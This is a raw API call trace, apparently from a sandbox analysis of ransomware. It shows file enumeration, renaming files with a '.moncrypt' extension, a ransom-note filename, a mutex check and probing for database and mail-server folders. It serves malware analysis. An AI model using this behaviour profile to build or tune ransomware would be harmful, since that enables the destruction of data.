lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.733] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.733] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.733] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.733] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.733] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.733] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.733] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.733] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.733] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0046.733] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml", cchWideChar=84, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml ", lpUsedDefaultChar=0x0) returned 84 [0046.733] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0046.733] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\ink\\fsdefinitions\\numbers\\numbase.xml ", lpUsedDefaultChar=0x0) returned 4 [0046.733] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0046.734] WriteFile (in: hFile=0x190, lpBuffer=0x1e61db8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61db8*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0046.734] CloseHandle (hObject=0x190) returned 1 [0046.735] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\я")) returned 1 [0046.735] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 0x54e280 [0046.735] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0046.736] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0046.736] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0046.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml", dwFileAttributes=0x20) returned 0 [0046.772] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0046.772] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml.moncrypt")) returned 0 [0046.772] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 0 [0046.772] GetLastError () returned 0x12 [0046.772] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0046.772] GlobalLock (hMem=0x440004) returned 0x552180 [0046.772] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.772] GlobalUnlock (hMem=0x440004) returned 0 [0046.772] GlobalLock (hMem=0x440004) returned 0x552180 [0046.772] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.772] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.772] GlobalUnlock (hMem=0x440004) returned 0 [0046.772] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.772] GlobalUnlock (hMem=0x44000c) returned 0 [0046.772] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61dd8, cbMultiByte=3, lpWideCharStr=0x18d758, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\") returned 3 [0046.773] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3d22fc60, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3d22fc60, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0046.773] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0046.773] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.773] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.773] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.773] GlobalUnlock (hMem=0x44000c) returned 0 [0046.773] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.773] GlobalLock (hMem=0x440004) returned 0x554190 [0046.773] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.773] GlobalUnlock (hMem=0x44000c) returned 0 [0046.773] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.773] GlobalUnlock (hMem=0x440004) returned 0 [0046.773] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.773] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3d22fc60, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3d22fc60, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.773] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.773] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.773] GlobalLock (hMem=0x440004) returned 0x553188 [0046.773] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.773] GlobalUnlock (hMem=0x440004) returned 0 [0046.773] GlobalLock (hMem=0x440004) returned 0x553188 [0046.773] GlobalLock (hMem=0x44000c) returned 0x555198 [0046.773] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.773] GlobalUnlock (hMem=0x440004) returned 0 [0046.773] GlobalHandle (pMem=0x555198) returned 0x44000c [0046.773] GlobalUnlock (hMem=0x44000c) returned 0 [0046.773] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.773] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 1 [0046.773] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.774] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.774] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.774] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.774] GlobalUnlock (hMem=0x44000c) returned 0 [0046.774] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.774] GlobalLock (hMem=0x440004) returned 0x555198 [0046.774] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.774] GlobalUnlock (hMem=0x44000c) returned 0 [0046.774] GlobalHandle (pMem=0x555198) returned 0x440004 [0046.774] GlobalUnlock (hMem=0x440004) returned 0 [0046.774] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.774] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 0 [0046.774] GetLastError () returned 0x12 [0046.774] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0046.774] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f79a7b7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f79a7b7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7c0915, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers.xml", cAlternateFileName="")) returned 1 [0046.774] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.774] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.774] GlobalLock (hMem=0x440004) returned 0x552180 [0046.774] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.774] GlobalUnlock (hMem=0x440004) returned 0 [0046.774] GlobalLock (hMem=0x440004) returned 0x552180 [0046.774] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.775] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.775] GlobalUnlock (hMem=0x440004) returned 0 [0046.775] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.775] GlobalUnlock (hMem=0x44000c) returned 0 [0046.775] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.775] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu", cAlternateFileName="")) returned 1 [0046.775] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.775] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.775] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.775] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.775] GlobalUnlock (hMem=0x44000c) returned 0 [0046.775] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.775] GlobalLock (hMem=0x440004) returned 0x554190 [0046.775] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.775] GlobalUnlock (hMem=0x44000c) returned 0 [0046.775] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.775] GlobalUnlock (hMem=0x440004) returned 0 [0046.775] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.775] GlobalLock (hMem=0x440004) returned 0x552180 [0046.775] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.775] GlobalUnlock (hMem=0x440004) returned 0 [0046.775] GlobalLock (hMem=0x440004) returned 0x552180 [0046.775] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.775] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.775] GlobalUnlock (hMem=0x440004) returned 0 [0046.775] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.775] GlobalUnlock (hMem=0x44000c) returned 0 [0046.775] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.775] SysReAllocStringLen (in: pbstr=0x18ea84*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu", len=0x48 | out: pbstr=0x18ea84*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu") returned 1 [0046.776] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.776] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.776] GlobalUnlock (hMem=0x44000c) returned 0 [0046.776] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.776] GlobalLock (hMem=0x440004) returned 0x554190 [0046.776] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.776] GlobalUnlock (hMem=0x44000c) returned 0 [0046.776] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.776] GlobalUnlock (hMem=0x440004) returned 0 [0046.776] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\") returned 26 [0046.776] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\Microsoft\\Exchange Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@☚R◮R企@\x18㽜Q\x18\x1b")) returned 0xffffffff [0046.791] GetLastError () returned 0x3 [0046.791] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\") returned 0x49 [0046.791] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0046.791] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\") returned 21 [0046.791] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\Microsoft SQL Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@╜R企@\x18㿬Q\x181")) returned 0xffffffff [0046.791] GetLastError () returned 0x2 [0046.791] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\") returned 0x49 [0046.791] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0046.791] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\") returned 9 [0046.792] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\Firebird", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@⊤R企@\x18?T\x18;")) returned 0xffffffff [0046.792] GetLastError () returned 0x2 [0046.792] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\") returned 0x49 [0046.792] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0046.792] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\MSSQL.1", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@ꟌR企@\x18?T\x18D")) returned 0xffffffff [0046.792] GetLastError () returned 0x2 [0046.792] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\") returned 0x49 [0046.792] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0046.792] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@╜R企@\x18⊤R\x18j")) returned 0xffffffff [0046.792] GetLastError () returned 0x2 [0046.792] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\") returned 0x49 [0046.792] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0046.792] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\Adobe", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@❌R企@\x18?T\x18q")) returned 0xffffffff [0046.793] GetLastError () returned 0x2 [0046.793] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\") returned 0x49 [0046.793] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="adobe\\⊠Rà") returned 6 [0046.793] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\Oracle", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@⑴R企@\x18?T\x18y")) returned 0xffffffff [0046.793] GetLastError () returned 0x2 [0046.793] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\") returned 0x49 [0046.793] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0046.793] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\Archive", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, 